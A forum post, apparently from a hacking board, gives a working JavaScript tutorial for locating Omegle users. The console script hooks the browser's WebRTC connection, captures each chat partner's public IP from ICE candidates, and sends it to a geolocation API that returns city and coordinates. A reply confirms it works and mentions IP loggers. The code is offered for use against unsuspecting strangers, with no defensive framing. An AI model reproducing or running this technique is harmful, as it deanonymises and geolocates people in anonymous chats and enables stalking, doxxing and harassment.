[Tutorial] How to get IPs and Location from Omegle.com users

Vojkan

Newbie
Joined
Sep 13, 2019
Messages
35
Reaction score
29
Hello people,

I would like to share with you the tutorial on how to get location from omegle.com users.

We are going to use the https://apiip.net/ API for locations. Sign up there and get your free API key.
Once you got the key, just replace it with "YOUR_ACCESS_KEY" on the first line of code.

Then, go to https://omegle.com and open your console (f12) or right-click anywhere and then click 'Inspect'.
Paste the code below with the replaced "YOUR_ACCESS_KEY" and press enter.

JavaScript:
const accessKey = "YOUR_ACCESS_KEY";
window.oRTCPeerConnection =
  window.oRTCPeerConnection || window.RTCPeerConnection;
window.RTCPeerConnection = function (...args) {
  const pc = new window.oRTCPeerConnection(...args);
  pc.oaddIceCandidate = pc.addIceCandidate;
  pc.addIceCandidate = function (iceCandidate, ...rest) {
    const fields = iceCandidate.candidate.split(" ");
    const ip = fields[4];
    if (fields[7] === "srflx") {
      getLocationFromIp(ip);
    }
    return pc.oaddIceCandidate(iceCandidate, ...rest);
  };
  return pc;
};
async function getLocationFromIp(ipToCheck) {
  const url = `https://apiip.net/api/check?accessKey=${accessKey}&ip=${ipToCheck}`;
  const response = await fetch(url);
  const responseObj = await response.json();
  const result = `
---------------------
Continent: ${responseObj.continentName}
Country: ${responseObj.countryName}
State: ${responseObj.state}
City: ${responseObj.city}
Lat / Long: (${responseObj.latitude}, ${responseObj.longitude})
Local Time: ${responseObj.timeZone.currentTime}
---------------------`;
  console.log(result);
}

script-in-console.jpg

That's it, you are all set, just start the chat with the click on the 'VIDEO' button

Here is what you are going to see in the console when you connect with some user.
results.jpg

As you can see the result is the location of the user, also there is a lot more information you can extract from the response object, but I just listed a few.

Happy coding!
 
Yep, good tutorial and work's fine. But if u dont have the option for video call, the only way is with ip logger
 
Back
Top